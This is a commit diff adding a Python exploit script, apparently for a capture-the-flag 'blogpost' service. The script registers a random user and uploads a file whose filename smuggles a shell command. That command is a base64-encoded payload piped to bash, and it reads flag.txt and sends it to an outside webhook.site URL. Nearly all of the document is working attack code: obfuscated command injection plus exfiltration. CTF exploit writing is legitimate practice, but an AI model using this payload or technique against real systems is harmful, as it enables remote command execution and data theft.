add exploits for cdn and blogpost

services/blogpost/exploits/exp1.py

@@ -0,0 +1,63 @@
+#!/usr/bin/env python3
+import requests
+from pathlib import Path
+import random
+import string
+
+HOST = "http://localhost:4413"
+REGISTER_URL = HOST + "/register"
+LOGIN_URL = HOST + "/login"
+CREATE_URL = HOST + "/create"
+HOME_URL = HOST + "/"
+PROFILE_URL = HOST + "/profile"
+
+LOCAL_IMAGE = "test.png" # a valid image file on your machine
+# Generate random username and password
+def generate_random_string(length=8):
+    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
+
+USERNAME = generate_random_string()
+PASSWORD = generate_random_string()
+# choose payload variant: either use subshell $() or backticks `...`
+filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg"
+
+# choose which to use:
+filename_payload = filename_payload  # or payload_backticks
+
+s = requests.Session()
+
+r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
+if r.status_code != 200:
+    print("Registration failed. Status:", r.status_code)
+    # print("Response:", r.text[:400])
+    exit(1)
+else:
+    print(f"Registered user: {USERNAME}")
+
+r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
+if r.status_code != 200:
+    print("Login request status:", r.status_code)
+    print("Response:", r.text[:400])
+else:
+    print("Login attempted. Cookies:", s.cookies.get_dict())
+
+# 2) upload file with crafted filename in multipart
+img_path = Path(LOCAL_IMAGE)
+if not img_path.exists():
+    raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
+
+with open(img_path, "rb") as fh:
+    # requests allows sending a custom filename (first item in tuple)
+    files = {
+        "image": (filename_payload, fh, "image/jpeg")
+    }
+    data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"}
+    r = s.post(CREATE_URL, data=data, files=files)
+    print("Upload response:", r.status_code)
+    # optionally print a bit of response to see if anything obvious happened
+    print(r.text[:800])
+
+# 3) fetch profile to see if you are admin and flag is shown
+r = s.get(PROFILE_URL)
+print("Profile status:", r.status_code)
+print(r.text[:1200])